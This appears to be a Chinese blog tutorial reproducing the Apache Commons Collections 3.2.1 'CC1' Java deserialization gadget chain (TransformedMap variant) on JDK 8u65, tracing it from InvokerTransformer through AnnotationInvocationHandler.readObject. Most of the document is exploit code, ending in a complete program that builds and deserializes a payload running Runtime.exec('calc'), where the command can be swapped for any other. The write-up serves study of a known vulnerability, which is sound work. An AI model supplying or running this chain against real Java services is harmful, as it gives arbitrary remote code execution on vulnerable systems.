CC1链子介绍
Commons Collections是Apache开源社区推出的一款针对Java集合框架的扩展工具库,它提供了大量额外的数据结构和算法,包括有序集合、队列、堆、双向映射等功能丰富的集合实现,以及诸如过滤、转换等高级操作接口。该库极大地补充和完善了Java标准集合API,让开发者在处理复杂集合数据时更加高效灵活,同时简化了代码编写,是Java项目中广泛应用的实用工具
CC1链分国内(TransformedMap)和国外(LazyMap),本文介绍的是国内的TransformedMap链,该链相比国外,结构更为直接,调用链清晰,适合快速构造验证和理解
环境准备
下载安装 JDK-8u65
官网:Java 存档下载 — Java SE 8 | Oracle 中国

安装之后配置到IDEA,在右上角文件处打开项目结构,或者直接用快捷键 Ctrl+Alt+Shift+S 打开

然后在项目处选择SDK为JDK 1.8.0_65

通过Maven下载CommonsCollections3.2.1
复制以下代码到pom.xml的<dependencies>标签里面
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|

保存即可
配置对应源码
jdk自带的包里面有些文件是反编译的.class文件,不利于研究分析,为方便调试,我们安装对应的源码
下载地址:jdk8u/jdk8u/jdk: af660750b2f4
点击zip下载压缩包,然后自行解压

在我们之前安装的jdk8u_65文件夹中,找到src.zip的压缩包,解压到当前文件夹下,然后把jdk-af660750b2f4\src\share\classes里的sun文件夹复制到jdk8u_65文件夹中的src里面

接着打开IDEA,在项目结构(Ctrl+Alt+Shift+S)里面找到SDK处,在源路径添加jdk8u_65的src文件夹,保存

到这里就配置完成了,可以开始调试分析了
CC1链分析
利用点
CC1源头就是Commons Collections库中的Tranformer接口,里面有个transform方法

寻找继承了这个接口的类,看看transform方法是如何实现的,可以快捷键Ctrl+Alt+B快速查看实现方法

发现InvokerTransformer类继承了该接口,重写了transform方法,同时还继承了Serializable接口,符合我们的要求

可以看到,这些参数都是可以控制的,那我们利用这点,传入参数调用invoke函数就可以触发任意类任意方法
我们的目标是实现Runtime.getRuntime().exec("calc");
构建以下代码实现,方法名为exec,参数类型为String,值为calc
1 2 3 4 5 6 7
| public class test2 { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(r); } }
|
成功弹出计算器

溯源
接下来就是一步步回溯,寻找可以利用的类,直到到达重写后的readObject()方法
首先先寻找有哪些类的哪些方法调用了transform,右键点击查找用法(或者Alt+F7)
发现TransformedMap类的checkSetValue方法调用了transform

再看看TransformedMap类的构造函数,可以看到由三个参数组成

其中第一个参数为Map类型,我们可以传入HashMap,第二和第三个参数为Transformer类型,同样可控
但是需要注意的是,TransformedMap构造函数属于Protected方法,不能通过外部直接调用,但很巧的是,在TransformedMap类找到了decorate方法,返回一个TransformedMap的实例对象,且属于Public static方法,外部可以直接调用

那我们可以构造代码,第一个参数传入map,第二个用不到就传个null,第三个参数传入invokerTransformer
1 2 3 4
| Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Map<Object, Object> map = new HashMap<>(); Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
|
接下来就是要找哪里调用了checkSetValue方法,右键查找用法

发现有且仅有一处调用了checkSetValue方法,类名为AbstractInputCheckedMapDecorator,然后TransformedMap类刚好又继承了AbstractInputCheckedMapDecorator类
而AbstractInputCheckedMapDecorator类又继承了AbstractMapDecorator

AbstractMapDecorator实现了Map接口

而Map接口里的Entry有setValue方法,也就是说AbstractInputCheckedMapDecorator重写了setValue方法,而重写后的方法调用了checkSetValue,刚好符合我们的要求
因此我们对Map进行遍历,使其调用重写后的setValue方法,进而调用checkSetValue,执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class test2 { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>(); map.put("hello","world"); Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transformermap.entrySet()){ entry.setValue(r); } } }
|

成功弹出计算器
接下来我们继续分析,寻找哪些方法调用了setValue,右键查找用法
发现AnnotationInvocationHandler类的readObject方法调用了setValue,刚好满足我们的要求,也寻到了入口,一举两得

查看AnnotationInvocationHandler的构造函数,参数为一个Class对象和一个Map对象,其中Class对象继承自Annotation,需要我们传一个注解类进去,然后memberValues传入之前的transformermap

再看看AnnotationInvocationHandler的访问权限,发现并没有Public等访问修饰符,则默认表示Package-local方法,即只能在同一个包下访问,在包外的类中是不可见的,无法调用

但可以通过反射调用方法getDeclaredConstructor来获取声明构造函数,简单修改后就可以实现包外调用,这里介绍一下与getConstructor的区别
| 方法 |
查找范围 |
返回哪些方法 |
是否支持私有/受保护方法 |
| getDeclaredConstructor 获取声明方法 |
只查本类 |
所有声明(包括私有、受保护等) |
支持(需 setAccessible(true)) |
| getConstructor 获取方法 |
本类和父类链 |
仅public方法(含继承) |
不支持 |
因此我们通过反射来获取这个类,修改访问权限后就可以在外部调用了
1 2 3 4
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Override.class,transformermap);
|
拼接上之前的内容,就形成骨架,完成百分之七八十了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class test2 { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>(); map.put("hello","world"); Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Override.class,transformermap); serialize(o); unserialize("cc1.txt"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt")); oos.writeObject(obj); } public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
但如果直接运行是不行的,这也就是剩下的百分之二三十需要我们解决的问题了
待解决问题
分析之前的代码,发现有三个明显的问题尚未解决
问题一:Runtime类没有继承Serializable接口,无法序列化

问题二:readObject()方法怎样通过两个if判断进入setValue()方法

问题三:readObject方法里的setValue参数不可控

我们按顺序逐个解决以上问题
修补
问题一:
首先解决第一个问题,虽然Runtime类没有继承Serializable接口,但是Class类继承了Serializable,当Runtime在 JVM 加载后,会有唯一的 Class<Runtime> 实例,它是对 Runtime 这个类型的描述。我们可以通过反射实现Runtime类

构造以下代码反射实现Runtime类
1 2 3 4 5
| Class cs = Runtime.class; Method getRuntime = cs.getMethod("getRuntime", null); Runtime cmd = (Runtime) getRuntime.invoke(null, null); Method control = cs.getMethod("exec", String.class); control.invoke(cmd, "calc");
|

验证一下,成功弹出计算器
然后改用InvokerTransformer的transform实现以上代码
1 2 3 4 5 6 7 8
| Class cs = Runtime.class;
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs); Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
|
但是分开的话不好处理,需要找个方法合并起来,回到一开始的Transformer.java右键transform查找用法,发现ChainedTransformer的transform方法可以循环遍历transform

看看构造函数,要求传个数组

那我们可以构造以下代码实现
1 2 3 4 5 6 7 8 9 10 11
| Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(cs);
|
成功解决问题一

我们修改一下之前骨架的内容
1 2 3 4 5 6 7 8 9 10 11 12
| Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
问题二:
首先在AnnotationInvocationHandler类的readObject方法的第一个if判断语句处打断点,调试后可以看到memberType值为null,无法进入if语句

分析代码,可知memberTypes是表示注解类型里所有成员及其对应的数据类型的映射关系,然后memberType获取注解中成员变量的名称

一开始我们用的是注解Override,这里面没有成员变量

那就不用这个,继续寻找发现注解Target里有成员变量value,可以用这个

回到之前的exp骨架那里,修改两处地方

重新调试一遍,这次没有问题了,成功进入第一个if语句

接下来就是第二个if语句,只要我们传入的value既不是memberType对应类型的实例,也不是异常代理类对象ExceptionProxy实例,就可以进入if语句
因为成员value的声明类型是枚举数组ElementType[],而传入的是字符串"world",判断后返回false,然后经过取反后就变为true,成功进入if语句
问题三:
最后就是解决readObject()调用的setValue()参数不可控,继续分析代码,发现ConstantTransformer类刚好满足我们的要求,它重写后的transform可以返回我们传入的对象

修改之前的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
|
完整代码
把之前的代码合并在一起,得到以下完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class test2 { public static void main(String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); map.put("value","world"); Map<Object, Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Target.class,transformermap); serialize(o); unserialize("cc1.txt"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt")); oos.writeObject(obj); } public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|

成功弹出计算器,实现完整的漏洞链利用
到这里CC1的复现就结束了,确实不容易,不过收获很大,想要提升水平还是得多练代码审计,继续加油吧